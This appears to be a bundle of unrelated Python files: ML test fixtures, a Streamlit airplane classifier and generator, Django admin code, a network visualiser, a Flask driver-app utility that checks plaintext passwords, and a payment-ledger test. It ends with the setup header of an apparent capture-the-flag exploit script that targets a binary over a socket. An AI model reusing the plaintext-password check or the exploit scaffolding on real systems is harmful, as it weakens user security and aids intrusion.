"""
fixtures for unit tests
"""

from typing import List, Dict

import pytest
from transformers import AutoTokenizer

from text_classification.dataset_utils import (
    InputMultilabelExample,
    MultilabelDataset,
    OutputMultilabelExample)

@pytest.fixture
def num_labels() -> int:
    """number of class labels"""
    return 4

@pytest.fixture
def class_labels(num_labels: int) -> List[str]:
    """list of class labels (strings)"""
    return ["Label " + str(i) for i in range(num_labels)]

@pytest.fixture
def output_multilabel_examples(class_labels: List[str]) -> List[OutputMultilabelExample]:
    """list of 10 output multi-label examples, each labeled with all class labels
       with confidences 0.9"""
    confidences = [0.9] * len(class_labels)
    return [OutputMultilabelExample(str(i), "Text " + str(i), class_labels, confidences)
            for i in range(10)]

@pytest.fixture
def input_multilabel_examples(class_labels: List[str]) -> List[InputMultilabelExample]:
    """list of 10 input multi-label examples, each labeled with all class labels"""
    return [InputMultilabelExample(str(i), "Text " + str(i), class_labels)
            for i in range(10)]

@pytest.fixture
def input_multilabel_examples_without_labels() -> List[InputMultilabelExample]:
    """list of 10 input multi-label examples with class_labels set to None"""
    return [InputMultilabelExample(str(i), "Text " + str(i), None)
            for i in range(10)]

@pytest.fixture
def multilabel_dataset(
        input_multilabel_examples: List[InputMultilabelExample],
        class_labels: List[str]) -> MultilabelDataset:
    """
    dummy multilabel dataset
    """
    tokenizer = AutoTokenizer.from_pretrained("roberta-base")
    max_length = 128
    return MultilabelDataset(
        input_multilabel_examples,
        class_labels,
        tokenizer,
        max_length,
        predict=False
    )

@pytest.fixture
def input_multilabel_example_dictionaries(input_multilabel_examples) -> List[Dict]:
    """
    list of dictionaries containing multilabel examples, e.g.:
       [{"guid": "0",
         "text": "Text 0",
         "labels": ["Label 0", "Label 1"]},
        {"guid": "1",
         "text": "Text 1",
         "labels": ["Label 0"]}]
    """
    return [multilabel_example.__dict__
            for multilabel_example in input_multilabel_examples]

@pytest.fixture
def input_multilabel_example_dictionaries_without_labels(
        input_multilabel_examples_without_labels) -> List[Dict]:
    """
    list of dictionaries containing multilabel examples without labels, e.g.:
       [{"guid": "0",
         "text": "Text 0"},
        {"guid": "1",
         "text": "Text 1"}]
    """
    return [{"guid": multilabel_example.guid,
             "text": multilabel_example.text}
            for multilabel_example in input_multilabel_examples_without_labels]


# 基本ライブラリ
import streamlit as st
import numpy as np
import pandas as pd
from PIL import Image
from PIL import ImageFilter,ImageOps

import torch
import io
#from airplane_class_1 import transform, Net # animal.py から前処理とネットワークの定義を読み込み
#import airplane_maesyori_1

# maesyori
def keepAspectResizeSimple(path, size):
    # 画像の読み込み
    image = Image.open(path)
    # サイズを幅と高さにアンパック
    width, height = size
    # 矩形と画像の幅・高さの比率の小さい方を拡大率とする
    ratio = min(width / image.width, height / image.height)
    # 画像の幅と高さに拡大率を掛けてリサイズ後の画像サイズを算出
    resize_size = (round(ratio * image.width), round(ratio * image.height))
    # リサイズ後の画像サイズにリサイズ
    resized_image = image.resize(resize_size)
    return resized_image

def expand2square(pil_img, background_color):
    width, height = pil_img.size
    if width == height:
        return pil_img
    elif width > height:
        result = Image.new(pil_img.mode, (width, width), background_color)
        result.paste(pil_img, (0, (width - height) // 2))
        return result
    else:
        result = Image.new(pil_img.mode, (height, height), background_color)
        result.paste(pil_img, ((height - width) // 2, 0))
        return result

# net
# 必要なモジュールのインポート
from torchvision import transforms
import pytorch_lightning as pl
import torch.nn as nn
import torch.nn.functional as F
#学習時に使ったのと同じ学習済みモデルをインポート
from torchvision.models import efficientnet_b0

# 学習済みモデルに合わせた前処理を追加
transform = transforms.Compose([
    transforms.Resize(224),
    #transforms.CenterCrop(224),
    transforms.ToTensor(),
    #transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),
    transforms.Grayscale(num_output_channels=3),
])

#　ネットワークの定義
class Net(pl.LightningModule):

    def __init__(self):
        super().__init__()

        #学習時に使ったのと同じ学習済みモデルを定義
        self.feature = efficientnet_b0(pretrained=True)
        self.bnr = nn.BatchNorm1d(1000)
        self.fc = nn.Linear(1000, 10)

    def forward(self, x):
        #学習時に使ったのと同じ順伝播
        h = self.feature(x)
        h = self.bnr(h)
        h = self.fc(h)
        return h

# 学習済みモデルをもとに推論する
def predict(img):
    # ネットワークの準備
    net = Net().cpu().eval()
    # # 学習済みモデルの重み（dog_cat.pt）を読み込み
    net.load_state_dict(torch.load('./class_5.pt', map_location=torch.device('cpu')))
    #　データの前処理
    img = transform(img)
    img =img.unsqueeze(0) # 1次元増やす
    #　推論
    # 推論の実行
    with torch.no_grad():
        y1 = net(img)
        y2 = F.softmax(y1, dim=-1)
        y = torch.argmax(y2).cpu().detach().numpy()
        y2 = y2.cpu().detach().numpy()
    #y = torch.argmax(net(img), dim=1).cpu().detach().numpy()
    return y,y2

#　推論したラベルから犬か猫かを返す関数
def getName(label):
    if label==0:
        return 'Boeing-787'
    elif label==1:
        return 'MD-90'
    elif label==2:
        return 'Airbus-A320neo'
    elif label==3:
        return 'Boeing-777'
    elif label==4:
        return 'Airbus-A330'
    elif label==5:
        return 'Boeing-747'
    elif label==6:
        return 'CRJ'
    elif label==7:
        return 'E-Jet'
    elif label==8:
        return 'Airbus-A380'
    elif label==9:
        return 'MSJ'

# 生成
class UNetDown(nn.Module):
    def __init__(self, in_channels, out_channels, normalize=True, dropout=0.0):
        super(UNetDown, self).__init__()
        layers = [nn.Conv2d(in_channels, out_channels, 4, stride=2, padding=1, bias=False)]
        if normalize:
            layers.append(nn.InstanceNorm2d(out_channels))
        layers.append(nn.LeakyReLU(0.2))
        if dropout:
            layers.append(nn.Dropout(dropout))
        self.model = nn.Sequential(*layers)

    def forward(self, x):
        return self.model(x)

class UNetUp(nn.Module):
    def __init__(self, in_channels, out_channels, dropout=0.0):
        super(UNetUp, self).__init__()
        layers = [nn.ConvTranspose2d(in_channels, out_channels, 4, stride=2, padding=1, bias=False),
                  nn.InstanceNorm2d(out_channels),
                  nn.ReLU(inplace=True)]
        if dropout:
            layers.append(nn.Dropout(dropout))
        self.model = nn.Sequential(*layers)

    def forward(self, x, skip_input):
        x = self.model(x)
        x = torch.cat((x, skip_input), 1)
        return x

class Generator(nn.Module):
    def __init__(self, in_channels=1, out_channels=3):
        super(Generator, self).__init__()

        self.down1 = UNetDown(in_channels, 64, normalize=False)
        self.down2 = UNetDown(64, 128)
        self.down3 = UNetDown(128, 256)
        self.down4 = UNetDown(256, 512, dropout=0.5)
        self.down5 = UNetDown(512, 512, dropout=0.5)
        self.down6 = UNetDown(512, 512, dropout=0.5)
        self.down7 = UNetDown(512, 512, dropout=0.5)
        self.down8 = UNetDown(512, 512, normalize=False, dropout=0.5)

        self.up1 = UNetUp(512, 512, dropout=0.5)
        self.up2 = UNetUp(1024, 512, dropout=0.5)
        self.up3 = UNetUp(1024, 512, dropout=0.5)
        self.up4 = UNetUp(1024, 512, dropout=0.5)
        self.up5 = UNetUp(1024, 256)
        self.up6 = UNetUp(512, 128)
        self.up7 = UNetUp(256, 64)

        self.final = nn.Sequential(
            nn.ConvTranspose2d(128, out_channels, 4, stride=2, padding=1),
            nn.Tanh()
        )

    def forward(self, x):
        d1 = self.down1(x)
        d2 = self.down2(d1)
        d3 = self.down3(d2)
        d4 = self.down4(d3)
        d5 = self.down5(d4)
        d6 = self.down6(d5)
        d7 = self.down7(d6)
        d8 = self.down8(d7)

        u1 = self.up1(d8, d7)
        u2 = self.up2(u1, d6)
        u3 = self.up3(u2, d5)
        u4 = self.up4(u3, d4)
        u5 = self.up5(u4, d3)
        u6 = self.up6(u5, d2)
        u7 = self.up7(u6, d1)

        return self.final(u7)

transforms2 = transforms.Compose([
    #Resize((256, 256), Image.BICUBIC),
    transforms.ToTensor(),
])

from torchvision.transforms.functional import to_pil_image

def tensor_to_pil(tensor):
    return to_pil_image(tensor.cpu().detach().squeeze(0))

# 重みをロード
# 学習済みモデルをもとに推論する
def predict2(img):
    # ネットワークの準備
    generator = Generator().cpu().eval()
    # # 学習済みモデルの重み（dog_cat.pt）を読み込み
    generator.load_state_dict(torch.load("./generator.pth", map_location=torch.device('cpu')))
    #　データの前処理
    img = transforms2(img)
    img =img.unsqueeze(0) # 1次元増やす
    #　推論
    # 推論の実行
    with torch.no_grad():
        fake_output = generator(img)
    #y = torch.argmax(net(img), dim=1).cpu().detach().numpy()
    return fake_output

# テキスト入力による値の動的変更
app_type = st.sidebar.selectbox(
    'モード選択 1=分類  2=生成 ',
    list(range(1, 3))
)

if app_type==1:
    # タイトルとテキストを記入
    st.title('Airplane classifiers and generators')
    st.write('飛行機の画像分類と画像生成を試してみよう！')

    st.write('その１：飛行機画像分類！')

    # file upload
    #from PIL import Image

    uploaded_file = st.file_uploader('Choose a image file')

    # データフレームの準備
    df = pd.DataFrame({
        #'Class' : [0, 1, 2],
        'メーカー' : ['Boeing', 'McDonnell Douglas', 'Airbus','Boeing', 'Airbus','Boeing', 'Bombardier','Embraer', 'Airbus','MHI'],
        '機種' : ['B787', 'MD-90', 'A320neo','B777','A330','B747', 'CRJ','E-Jet','A380','MSJ']
    })
    st.write('※現在の対応機種')
    # 静的なテーブル
    st.table(df)

    if uploaded_file is not None:
        image = Image.open(uploaded_file)
        size = (256, 256)
        img3 = keepAspectResizeSimple(uploaded_file,size)
        img3 = expand2square(img3, (0, 0, 0))
        img3 = img3.convert('RGB')
        img_array = np.array(image)
        col1, col2 = st.columns(2)
        with col1:
            st.header("original")
            st.image(
                image, caption='upload images',
                use_column_width=True
            )
        with col2:
            st.header("resized")
            st.image(
                img3, caption='upload images',
                use_column_width=True
            )
        # 入力された画像に対して推論
        pred, pred2 = predict(img3)
        AirplaneName = getName(pred)
        st.write('## Result')
        st.write('この飛行機はきっと',AirplaneName,'です!')
        st.write('自信度は',np.round(np.max(pred2)*100,1),'%です!')
        st.write(pred2*100)

elif app_type==2:
    # タイトルとテキストを記入
    st.title('Airplane classifiers and generators')
    st.write('飛行機の画像分類と画像生成を試してみよう！')

    st.write('その２：飛行機画像生成！')
    st.write('イラストや白黒写真からカラー写真を生成します。')
    st.write('写真や塗りつぶしがあるイラストを読み込むときは、エッジ検出をONにしてください。')
    st.write('カラー写真も読み込み可。分類ページリストの機種だと精度よく出ます。')
    edge_on = st.checkbox('エッジ検出ON')

    # file upload
    #from PIL import Image

    uploaded_file = st.file_uploader('Choose a image file')
    if uploaded_file is not None:
        image = Image.open(uploaded_file)
        size = (256, 256)
        img3 = keepAspectResizeSimple(uploaded_file,size)
        img3 = expand2square(img3, (255, 255, 255))
        img3 = img3.convert('L')
        img_array = np.array(image)
        if edge_on:
            img3 = img3.filter(ImageFilter.FIND_EDGES)
            img3 = ImageOps.invert(img3)
        col1, col2 = st.columns(2)
        with col1:
            st.header("original")
            st.image(
                image, caption='upload images',
                use_column_width=True
            )
        with col2:
            st.header("resized")
            st.image(
                img3, caption='upload images',
                use_column_width=True
            )
        # 入力された画像に対して推論
        pred_image = predict2(img3)
        pred_image_pil = tensor_to_pil(pred_image)
        st.write('## Result')
        st.header("生成画像！")
        st.image(
                pred_image_pil, caption='Generate_Airplane',
                use_column_width=True
            )


from django.contrib import admin
from .models import Events
from users.models import CustomUser

@admin.register(Events)
class EventsAdmin(admin.ModelAdmin):
    list_display = [
        'id',
        'title',
        'start',
        'end',
        'date_created',
        'get_username'
    ]

    @admin.display(ordering='userFK__username', description="Username")
    def get_username(self, obj):
        return obj.userFK.username


import numpy as np
import matplotlib.pyplot as plt
from Utils.Bcolor import Bcolors
from math import fabs
from Utils.Debug_Levels import Debug_Levels as verbos
import time
from Libraries.Enums import NNLibs
from Libraries.Torch import Torch
from Libraries.Simplynet import SimplyNet
from Libraries.Sklearn import Sklearn
from Libraries.Reader import Reader

#TODO give credit to asian
#TODO make docstring like numpy

class Brain:
    """
    Draw a neural network graph using matplotlib

    parameters :
        - ax : matplotlib.axes.AxesSubplot
            The axes on which to plot the cartoon (get e.g. by plt.gca())
        - fig_size :
            Figure size in the X,Y directions
        - offset_left : float
            The center of the leftmost node(s) will be placed here
        - offset_right : float
            The center of the rightmost node(s) will be placed here
        - offset_bottom : float
            The center of the bottommost node(s) will be placed here
        - offset_top : float
            The center of the topmost node(s) will be placed here
        - layer_sizes : list of int
            List of layer sizes, including input and output dimensionality
        - weights :(list) length (n_layers - 1) The ith element in the list represents the weight matrix corresponding to layer i.
        - bias_weights : (list) length (n_layers - 1)The ith element in the list represents the bias vector corresponding to layer i + 1.
        - n_iter: (int) : The number of iterations the solver has ran.
        - loss: (float) : The current loss computed with the loss function.
        - debug_level (Debug_Levels): Check levels on Debug_Levels.py
    """

    def __init__(self, nn_lib, show_weights=False, show_arrows=False, show_text=False,
                fig_size_x=12, fig_size_y=12, debug_level=verbos.NO):
        '''
        Initialize brain.

        Parameters
        ----------
        nn_lib : list
            Weights of the model.

        nn_bias_weights : list
            Biases of the model.
        '''
        self.layer_sizes    = None
        self.ax             = None

        # Figure sizes in percentage
        self.fig            = None
        self.fig_size_x     = fig_size_x
        self.fig_size_y     = fig_size_y

        self.left           = 0.1
        self.right          = 0.9
        self.bottom         = 0.1
        self.top            = 0.9

        self.offset_all     = [self.left, self.right, self.bottom, self.top]
        self.weights        = None
        self.bias_weights   = None

        self.n_layers       = None
        self.v_spacing      = None
        self.h_spacing      = None

        self.show_weights   = show_weights
        self.show_arrows    = show_arrows
        self.show_texts     = show_text

        # Beautiful printing
        self.bcolors = Bcolors()

        # To see debugs, give higher number than 0
        self.debug_level = debug_level

        # Initate limits of figure
        self.init_graph()

        # Neural network library reader
        self.reader = Reader()

        # Set neural network library
        self.set_lib(nn_lib)

    def set_lib(self,nn_lib):
        """Choose library to read neural network

        Args:
            nn_lib (Reader):
        """
        if nn_lib == NNLibs.Torch:
            self.reader = Torch()

        elif nn_lib == NNLibs.SimplyNet:
            self.reader = SimplyNet()

        elif nn_lib == NNLibs.Sklearn:
            self.reader = Sklearn()

        elif nn_lib == NNLibs.Tensorflow:
            pass

    def visualize(self, weights, load_from_path=False, loss_ = None, n_iter_ = None, interval=1):
        '''
        Plot everything(nodes, edges, arrows, input, output)

        Parameters
        ----------
        loss_ (int) : Brain's latest loss value.
        n_iter_ (int): Number of iterations/epochs.
        load_from_path (bool) : Set true for keeping figure after visualization in directly vis from weights
        '''
        self.reader.read(weights)
        self.weights        = self.reader.weights_list
        self.bias_weights   = self.reader.biases_list
        self.ax.cla()

        # If loss or iter no is not given dont show title
        if loss_ is None or n_iter_ is None:
            pass
        else:
            self.ax.set_title("Loss : {0:.3} / Iteration : {1}".format(loss_,n_iter_))

        self.ax.axis('off')
        self.set_figure()
        self.plot_input_arrows()
        self.plot_nodes()
        self.plot_bias_nodes()
        self.plot_edge_node_connections()
        self.plot_bias_edge_connections()
        self.plot_output_arrows(loss_,n_iter_)
        # plt.show()
        plt.pause(interval)
        plt.draw()

        # If loading network from path, dont close figure after its drawn
        if load_from_path:
            self.bcolors.print_warning("Please press enter to close the figure.")
            input()

    def init_graph(self):
        '''
        Creates the figure to plot the brain.
        '''
        if self.debug_level.value >= verbos.MEDIUM.value:
            self.bcolors.print_header("Initiating visualization graphics")
        try :
            plt.ion()
            self.fig = plt.figure(figsize=(self.fig_size_x, self.fig_size_y))
            # Get current axes (gca)
            self.ax  = self.fig.gca()
            self.ax.axis('off')
            #TODO This gives error: "TypeError: 'AxesSubplot' object is not callable", fig.gca() returns AxesSubplot object
            # self.ax(autoscale=False)

        except:
            print("Graph could not be set !\nPlease enter the figure sizes correctly")

    def set_figure(self):
        '''
        Check if there is a problem with figure offset, layer sizes to continue procedure.

        Returns
        -------
        is_figure_set : boolean
            True if the figure's offset and layer sizes are ok.
        '''
        is_figure_set = False
        is_offset_ok = self.is_fig_offsets_ok()
        is_layer_sizes_ok = self.set_layer_sizes()
        if self.debug_level.value >= verbos.LOW.value:
            print("Layer Sizes : ",self.layer_sizes)
        if is_offset_ok and is_layer_sizes_ok:
            if self.debug_level.value >= verbos.MEDIUM.value:
                self.bcolors.print_inform("Visualization graphics are set !")
            self.n_layers  = len(self.layer_sizes)
            self.v_spacing = (self.top - self.bottom)/float(max(self.layer_sizes))
            self.h_spacing = (self.right - self.left)/float(self.n_layers)

            is_figure_set = True
        return is_figure_set

    def is_fig_offsets_ok(self):
        #TODO Why?
        '''
        Checks if figure's offsets are between (0-100).

        Returns
        -------
        is_correct: boolean
            True/False based on the condition.
        '''
        is_correct = True
        for size in self.offset_all:
            if size > 100 or size < 0 :
                is_correct = False
                break
        return is_correct

    def set_layer_sizes(self):
        '''
        Set layer sizes.

        Returns
        -------
        True/False
            If there are no layers, return False.
        '''
        self.layer_sizes = []
        num_of_layers = len(self.weights)

        for i in range(num_of_layers):
            layer_shape = self.weights[i].shape

            # First Layer
            if(i == 0):
                layer_size = layer_shape[0]
                self.layer_sizes.append(layer_size)

            # Other layers
            layer_size = layer_shape[1]
            self.layer_sizes.append(layer_size)

        if(len(self.layer_sizes) > 0):
            return True
        else:
            return False

    def plot_input_arrows(self):
        if self.show_arrows:
            if self.debug_level.value >= verbos.MEDIUM.value :
                self.bcolors.print_ok("Plotting input arrows ..")
            self.layer_top_0 = self.v_spacing*(self.layer_sizes[0] - 1)/2. + (self.top + self.bottom)/2.
            for m in range(self.layer_sizes[0]):
                arrow_posx = self.left-0.18
                arrow_posy = self.layer_top_0 - m*self.v_spacing
                # print(arrow_posx,arrow_posy)
                plt.arrow(arrow_posx,arrow_posy , 0.12, 0,  lw =1, head_width=0.01, head_length=0.02)

    def plot_nodes(self):
        '''
        Plot nodes, input(X1, X2,...) and output(y1, y2,...).
        '''
        if self.debug_level.value >= verbos.MEDIUM.value :
            self.bcolors.print_ok("Plotting nodes ..")
        for n, layer_size in enumerate(self.layer_sizes):
            layer_top = self.v_spacing*(layer_size - 1)/2. + (self.top + self.bottom)/2.
            for m in range(layer_size):
                circle = plt.Circle((n*self.h_spacing + self.left, layer_top - m*self.v_spacing), self.v_spacing/8.,\
                                color='w', ec='k', zorder=4)

                if self.show_texts:
                    # Add texts
                    if n == 0:
                        plt.text(self.left-0.125, layer_top - m*self.v_spacing, r'$X_{'+str(m+1)+'}$', fontsize=15)
                    elif (self.n_layers == 3) & (n == 1):
                        plt.text(n*self.h_spacing + self.left+0.00, layer_top - m*self.v_spacing+ (self.v_spacing/8.+0.01*self.v_spacing), r'$H_{'+str(m+1)+'}$', fontsize=15)
                    elif n == self.n_layers -1:
                        plt.text(n*self.h_spacing + self.left+0.10, layer_top - m*self.v_spacing, r'$y_{'+str(m+1)+'}$', fontsize=15)

                self.ax.add_artist(circle)

    def plot_bias_nodes(self):
        if self.debug_level.value >= verbos.MEDIUM.value :
            self.bcolors.print_ok("Plotting bias nodes ..")
        # Bias-Nodes
        for n in range(len(self.layer_sizes)):
            if n < self.n_layers -1:
                x_bias = (n + 0.5) * self.h_spacing + self.left
                y_bias = self.top + 0.005
                circle = plt.Circle((x_bias, y_bias), self.v_spacing/8.,\
                                    color='w', ec='k', zorder=4)
                if self.show_texts:
                    # Add texts
                    plt.text(x_bias-(self.v_spacing/8.+0.10*self.v_spacing+0.01), y_bias, r'$1$', fontsize=15)

                self.ax.add_artist(circle)

    def plot_edge_node_connections(self):
        if self.debug_level.value >= verbos.MEDIUM.value :
            self.bcolors.print_ok("Plotting edge-node connections ..")

        # Edges between nodes
        for n, (layer_size_a, layer_size_b) in enumerate(zip(self.layer_sizes[:-1], self.layer_sizes[1:])):
            layer_top_a = self.v_spacing*(layer_size_a - 1)/2. + (self.top + self.bottom)/2.
            layer_top_b = self.v_spacing*(layer_size_b - 1)/2. + (self.top + self.bottom)/2.

            # Normalize layer weights
            layer_weights = self.weights[n]
            normalized_weights = self.normalize_weights(layer_weights)

            for m in range(layer_size_a):
                for o in range(layer_size_b):

                    alpha_val, color = self.get_alpha_and_color(normalized_weights[m, o])

                    line = plt.Line2D([n*self.h_spacing + self.left, (n + 1)*self.h_spacing + self.left],
                                      [layer_top_a - m*self.v_spacing, layer_top_b - o*self.v_spacing], c=color, alpha=alpha_val)
                    self.ax.add_artist(line)
                    xm = (n*self.h_spacing + self.left)
                    xo = ((n + 1)*self.h_spacing + self.left)
                    ym = (layer_top_a - m*self.v_spacing)
                    yo = (layer_top_b - o*self.v_spacing)
                    rot_mo_rad = np.arctan((yo-ym)/(xo-xm))
                    rot_mo_deg = rot_mo_rad*180./np.pi
                    xm1 = xm + (self.v_spacing/8.+0.05)*np.cos(rot_mo_rad)
                    if n == 0:
                        if yo > ym:
                            ym1 = ym + (self.v_spacing/8.+0.12)*np.sin(rot_mo_rad)
                        else:
                            ym1 = ym + (self.v_spacing/8.+0.05)*np.sin(rot_mo_rad)
                    else:
                        if yo > ym:
                            ym1 = ym + (self.v_spacing/8.+0.12)*np.sin(rot_mo_rad)
                        else:
                            ym1 = ym + (self.v_spacing/8.+0.04)*np.sin(rot_mo_rad)

                    if self.show_texts:
                        plt.text( xm1, ym1,\
                                str(round(self.weights[n][m, o],4)),\
                                rotation = rot_mo_deg, \
                                fontsize = 10)

    def plot_bias_edge_connections(self):
        if self.debug_level.value >= verbos.MEDIUM.value :
            self.bcolors.print_ok("Plotting bias-edge connections ..")
        # Edges between bias and nodes
        for n, (_, layer_size_b) in enumerate(zip(self.layer_sizes[:-1], self.layer_sizes[1:])):
            # Normalize layer weights
            bias_weights = self.bias_weights[n]
            normalized_weights = self.normalize_weights(bias_weights)

            if n < self.n_layers-1:
                #layer_top_b: y of highest node of the next layer
                layer_top_b = self.v_spacing*(layer_size_b - 1)/2. + (self.top + self.bottom)/2.
                x_bias = (n+0.5)*self.h_spacing + self.left
                y_bias = self.top + 0.005
            for o in range(layer_size_b):
                alpha_val, color = self.get_alpha_and_color(normalized_weights[o])

                line = plt.Line2D([x_bias, (n + 1)*self.h_spacing + self.left],
                              [y_bias, layer_top_b - o*self.v_spacing], c=color, alpha=alpha_val)
                self.ax.add_artist(line)
                xo = ((n + 1)*self.h_spacing + self.left)
                yo = (layer_top_b - o*self.v_spacing)
                rot_bo_rad = np.arctan((yo-y_bias)/(xo-x_bias))
                rot_bo_deg = rot_bo_rad*180./np.pi
                xo2 = xo - (self.v_spacing/8.+0.01)*np.cos(rot_bo_rad)
                yo2 = yo - (self.v_spacing/8.+0.01)*np.sin(rot_bo_rad)
                xo1 = xo2 -0.05 *np.cos(rot_bo_rad)
                yo1 = yo2 -0.05 *np.sin(rot_bo_rad)
                if self.show_texts:
                    plt.text( xo1, yo1,\
                        str(round(self.bias_weights[n][o],4)),\
                        rotation = rot_bo_deg, \
                        fontsize = 10)

    def plot_output_arrows(self,loss,n_iter):
        if self.show_arrows:
            if self.debug_level.value >= verbos.MEDIUM.value :
                self.bcolors.print_ok("Plotting output arrows ..")
            # Output-Arrows
            layer_top_0 = self.v_spacing*(self.layer_sizes[-1] - 1)/2. + (self.top + self.bottom)/2.
            for m in range(self.layer_sizes[-1]):
                plt.arrow(self.right+0.015, layer_top_0 - m*self.v_spacing, 0.16*self.h_spacing, 0,  lw =1, head_width=0.01, head_length=0.02)

        # # Record the n_iter_ and loss
        # plt.text(self.left + (self.right-self.left)/3., self.bottom - 0.005*self.v_spacing, \
        #          'Steps:'+str(n_iter)+'    Loss: {0:.2f}'.format(loss), fontsize = 15)

    def normalize_weights(self, weights):
        return weights / np.linalg.norm(weights)

    def get_alpha_and_color(self, normalized_weights):
        """Get alpha(transparency) and color of weight

        Args:
            normalized_weights (np.ndarray)

        Returns:
            alpha_val (integer), color(string)
        """
        color = 'g'
        # For positive values draw lines blue, for negative ones draw as red
        if normalized_weights < 0:
            alpha_val = -normalized_weights
            color = 'r'
        else:
            alpha_val = normalized_weights
            color = 'b'

        return alpha_val, color


'''
Utility functions for the application
'''
from datetime import datetime
from functools import wraps

from flask import redirect, request, session, url_for

from app.models import DesignatedDriver as DD
from app.models import Event, db
from twilio.rest import Client

def get_all_entries(drivers=True):
    """
    @purpose: Get a list of json objects for the given entires
    @args:  The table that should be queried
    @returns:   A list of the entries in question as JSON objects
    """
    if drivers:
        drivers = []
        for result in DD.query.all():
            driver = {"name": None, "phone": None}
            driver['name'] = result._driver_name
            driver['number'] = result._driver_phone
            drivers.append(driver)
        return drivers
    else:
        events = []
        for result in Event.query.all():
            local_event = {"name": None, "start_time": None, "end_time": None}
            local_event['name'] = result._name
            datetime_object = datetime.strptime(result._start_time,
                                                '%m/%d/%Y %I:%M %p')
            local_event['start_time'] = datetime_object
            datetime_object = datetime.strptime(result._end_time,
                                                '%m/%d/%Y %I:%M %p')
            local_event['end_time'] = datetime_object
            local_event['id'] = result._event_id
            events.append(local_event)
        return events

def add_entry_to_db(entry, is_event=True):
    """
    @purpose:   Adds an entry to the database
    @args:  The entry as a dictionary, a bool to tell if it is an event
    @return:    True / False based on the commit to the database
    """
    if is_event:
        try:
            entry_id = len(Event.query.all())
            if entry_id == 0:
                entry_id = 1
            else:
                entry_id += 1
            new_event = Event(entry['event_name'], entry['start_time'],
                              entry['end_time'], entry_id)
            db.session.add(new_event)
            db.session.commit()
            return entry_id
        except:
            return 0
    else:
        try:
            new_driver = DD(entry['name'], entry['pwd'], entry['phone'])
            db.session.add(new_driver)
            db.session.commit()
            return len(new_driver)
        except:
            return 0

def add_driver_to_event(driver_phone, event_id):
    """
    @purpose:   Links a driver to an event
    @args:  Driver's phone number, the id of the event
    @return:    True / False based on the update to the database
    """
    try:
        driver = DD.query.filter_by(_driver_phone=driver_phone).first()
        driver._driver_curr_event = event_id
        db.session.commit()
        return True
    except:
        return False

def change_driver_state(driver_phone):
    """
    @purpose: Changes the state of the driver's availability
    @args: Driver's phone number
    @returns: True / False based on if the commit went well
    """
    try:
        driver = DD.query.filter_by(_driver_phone=driver_phone).first()
        driver._driver_is_available = not (driver._driver_is_available)
        db.session.commit()
        return True
    except:
        return True

def get_driver(driver_phone):
    """
    @purpose: Changes the state of the driver's availability
    @args: Driver's phone number
    @returns: True / False based on if the commit went well
    """
    try:
        result = DD.query.filter_by(_driver_phone=driver_phone).first()
        driver = {"name": None, "phone": None}
        driver['name'] = result._driver_name
        driver['number'] = result._driver_phone
        driver['available'] = result._driver_is_available

        return driver
    except:
        return None

def get_event_drivers(event_id):
    """
    @purpose: Gets a list of all the drivers that are associated with an event
    @args: The id of the event
    @return: A list of the drivers in a JSON format
    """
    drivers = []
    for result in DD.query.filter_by(_driver_curr_event=event_id).all():
        driver = {"name": None, "phone": None, "available": None}
        driver['name'] = result._driver_name
        driver['phone'] = result._driver_phone
        driver['available'] = result._driver_is_available
        drivers.append(driver)
    return drivers

def auth_user(phone, pwd):
    """
    @purpose: Authenticate a user with their phone and their password.
    @args: The user's username. The password.
    @return: True or false if the user is validated
    """
    result = DD.query.filter_by(_driver_phone=phone).first()
    if result is not None and result._driver_password == pwd:
        return True
    else:
        return False
    return False

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if not session.get('phone_num'):
            return redirect(url_for('login', next=request.url))
        return f(*args, **kwargs)

    return decorated_function

def call(num):
    account_sid = ''  # Removed and key deleted
    auth_token = ''  # Removed and key deleted

    twiml_link = ''
    twilio_number = ''

    if account_sid and auth_token and twiml_link and twilio_number:
        client = Client(account_sid, auth_token)
        call = client.calls.create(url=twiml_link, to=num, from_=twilio_number)


"""
This test script is to test payment ledger back-population for following Scenario:
- Citation Creation
- Adjudication

This script also cleans up the data created in pre-script.
"""
from utility.payment_ledger_utility import fetch_data_from_payment_ledger, get_local_citation_data
from env.logging_interface import logging
from env.session_manager import current_session

def validate_create_citation(db_name):
    test_prefix = "test_case_4:"
    data_to_validate = current_session.get_variable("test_case_4")

    for data in data_to_validate:
        ticket_num = data["ticket_num"]
        new_fine = data["adjudicated_fine"]
        due_date = data["due_date"]
        db_rows = fetch_data_from_payment_ledger("berwyn_test", ticket_num)
        if len(db_rows) == 1:
            row = db_rows[0]
            db_pos_fine = float(row["positive_adjustment"] if row["positive_adjustment"] is not None else 0)
            db_neg_fine = float(row["negative_adjustment"] if row["negative_adjustment"] is not None else 0)
            db_category = row["category"]
            if db_pos_fine == new_fine and db_category == "fine" and db_neg_fine == 0:
                logging.write(True,
                              f"""{test_prefix} {ticket_num}'s passed for back populate.""")
            else:
                logging.write(False,
                              f"{test_prefix} {ticket_num}'s adjudicated fine "
                              f"was not properly recorded by back-population in payment ledger.")

        else:
            logging.write(False, f"{test_prefix} {ticket_num} gave more/less rows than expected")

        db_rows = get_local_citation_data(db_name=db_name,
                                          ticket_num=ticket_num,
                                          select_cols=["fine", "due_date"])
        db_due_date = db_rows[0]["due_date"]
        if db_due_date:
            db_due_date = db_due_date.strftime("%Y-%m-%d")

        db_fine = float(db_rows[0]["fine"] if db_rows[0]["fine"] is not None else 0)

        if db_fine == new_fine and db_due_date == due_date:
            logging.write(True,
                          f"""{test_prefix} {ticket_num}'s passed for adjudication.""")
        else:
            logging.write(False,
                          f"{test_prefix} {ticket_num}'s adjudication didn't happen properly.")

def main(*args):
    db_name = args[0][0]
    validate_create_citation(db_name)

    test_data = current_session.get_variable("test_case_4")
    ticket_numbers = tuple(i["ticket_num"] for i in test_data)

    cleanup_fun = current_session.get_variable("cleanup_citation_data")
    tables_to_cleanup = ["local_citation", "local_citation_statuses",
                         "citation_edit_logs", "payment_ledger",
                         "adjudication_table"]

    cleanup_fun(db_name, ticket_numbers, tables_to_cleanup)


#!/usr/bin/env python3
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './flip'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

default_target = {'host':'target', 'port':4296}

env = Environment('debug', 'local', 'remote', 'monitor')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET', monitor = 'SOCKET')
